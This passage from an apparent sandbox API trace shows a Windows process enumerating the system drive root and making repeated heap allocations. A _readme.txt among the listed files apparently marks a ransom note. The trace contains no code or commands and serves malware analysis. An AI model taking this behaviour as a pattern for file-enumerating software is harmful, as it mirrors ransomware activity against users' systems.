hHeap=0x5e0000) returned 1 [0119.475] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef848 | out: hHeap=0x5e0000) returned 1 [0119.475] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xeca7d400, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0119.475] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0119.475] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022880 [0119.475] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022948 [0119.475] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa8) returned 0x2f7e028 [0119.475] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb230 [0119.475] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022970 [0119.475] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022998 [0119.475] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef848 [0119.475] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0119.475] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30228f8 | out: hHeap=0x5e0000) returned 1 [0119.475] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.475] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.476] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30181a0 | out: hHeap=0x5e0000) returned 1 [0119.476] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.476] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022948 | out: hHeap=0x5e0000) returned 1 [0119.476] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022880 | out: hHeap=0x5e0000) returned 1 [0119.476] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xecb87da0, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0119.476] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0119.476] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022880 [0119.476] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022948 [0119.476] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30228f8 [0119.476] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022948 | out: hHeap=0x5e0000) returned 1 [0119.476] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022880 | out: hHeap=0x5e0000) returned 1 [0119.476] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc4229150, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xc4229150, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0119.476] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0119.476] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.476] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xfc) returned 0x69c2b8 [0119.476] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb268 [0119.476] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022880 [0119.476] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022948 [0119.476] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.476] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229c0 [0119.476] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.476] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb230 | out: hHeap=0x5e0000) returned 1 [0119.476] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022970 | out: hHeap=0x5e0000) returned 1 [0119.476] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022998 | out: hHeap=0x5e0000) returned 1 [0119.476] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef848 | out: hHeap=0x5e0000) returned 1 [0119.476] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.476] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30228f8 | out: hHeap=0x5e0000) returned 1 [0119.476] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f7e028 | out: hHeap=0x5e0000) returned 1 [0119.476] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb230 [0119.476] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.476] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0119.476] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0119.476] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0119.477] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.477] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0119.477] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.477] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0119.477] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0119.477] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30228f8 [0119.477] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.477] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022998 [0119.477] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.477] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30228f8 | out: hHeap=0x5e0000) returned 1 [0119.477] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0119.477] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30228f8 [0119.477] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.477] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x16c) returned 0x2f84e20 [0119.477] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0119.477] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022970 [0119.477] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022a10 [0119.477] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef848 [0119.477] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022a38 [0119.477] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022a60 [0119.477] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.477] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2d8 [0119.477] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022a88 [0119.477] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb268 | out: hHeap=0x5e0000) returned 1 [0119.477] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022880 | out: hHeap=0x5e0000) returned 1 [0119.477] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022948 | out: hHeap=0x5e0000) returned 1 [0119.477] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.477] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229c0 | out: hHeap=0x5e0000) returned 1 [0119.477] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229e8 | out: hHeap=0x5e0000) returned 1 [0119.477] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb230 | out: hHeap=0x5e0000) returned 1 [0119.477] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0119.477] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022998 | out: hHeap=0x5e0000) returned 1 [0119.477] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x69c2b8 | out: hHeap=0x5e0000) returned 1 [0119.477] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022998 [0119.478] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.478] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30228f8 | out: hHeap=0x5e0000) returned 1 [0119.478] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0119.478] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.478] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0119.478] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef8d8 [0119.478] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0119.478] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef890 | out: hHeap=0x5e0000) returned 1 [0119.478] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xff1bf300, ftCreationTime.dwHighDateTime=0x1d52ab3, ftLastAccessTime.dwLowDateTime=0xff1bf300, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xff1bf300, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SystemID", cAlternateFileName="")) returned 1 [0119.478] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30228f8 [0119.478] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.478] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229e8 [0119.478] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.478] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30228f8 | out: hHeap=0x5e0000) returned 1 [0119.478] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0119.478] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30228f8 [0119.478] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.478] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229c0 [0119.478] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.478] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30228f8 | out: hHeap=0x5e0000) returned 1 [0119.478] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0119.478] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30228f8 [0119.478] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022808 [0119.478] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x214) returned 0x3093b88 [0119.478] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0119.478] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022948 [0119.478] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022880 [0119.478] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef890 [0119.478] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0119.478] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ad8 [0119.478] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb230 [0119.479] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb268 [0119.479] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b00 [0119.479] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.479] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0119.479] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.479] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.479] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0119.479] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022970 | out: hHeap=0x5e0000) returned 1 [0119.479] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022a10 | out: hHeap=0x5e0000) returned 1 [0119.479] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef848 | out: hHeap=0x5e0000) returned 1 [0119.479] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022a38 | out: hHeap=0x5e0000) returned 1 [0119.479] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022a60 | out: hHeap=0x5e0000) returned 1 [0119.479] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.479] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2d8 | out: hHeap=0x5e0000) returned 1 [0119.479] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022a88 | out: hHeap=0x5e0000) returned 1 [0119.479] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022998 | out: hHeap=0x5e0000) returned 1 [0119.479] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef8d8 | out: hHeap=0x5e0000) returned 1 [0119.479] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229e8 | out: hHeap=0x5e0000) returned 1 [0119.479] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30229c0 | out: hHeap=0x5e0000) returned 1 [0119.479] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f84e20 | out: hHeap=0x5e0000) returned 1 [0119.479] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x30229c0 [0119.479] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022808 | out: hHeap=0x5e0000) returned 1 [0119.479] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30228f8 | out: hHeap=0x5e0000) returned 1 [0119.479] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x12020, ftCreationTime.dwLowDateTime=0xffbdd080, ftCreationTime.dwHighDateTime=0x1d52ab3, ftLastAccessTime.dwLowDateTime=0xffbdd080, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xffbdd080, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0119.479] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x12020, ftCreationTime.dwLowDateTime=0xffbdd080, ftCreationTime.dwHighDateTime=0x1d52ab3, ftLastAccessTime.dwLowDateTime=0xffbdd080, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xffbdd080, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0119.479] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.479] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.479] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2d8 [0119.479] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.480] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.480] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.480] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.480] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.480] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.480] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.480] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.480] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.480] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.480] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.480] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.480] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.480] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.480] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.480] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.480] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.480] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.480] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.480] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.480] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.480] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.480] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.480] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.480] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.480] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.480] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.480] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.480] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.480] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.480] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.480] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.480] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.480] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.481] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.481] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.481] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.481] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.481] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: hHeap=0x5e0000) returned 1 [0119.481] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1f8 [0119.481] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.481] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.481] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1f8 | out: 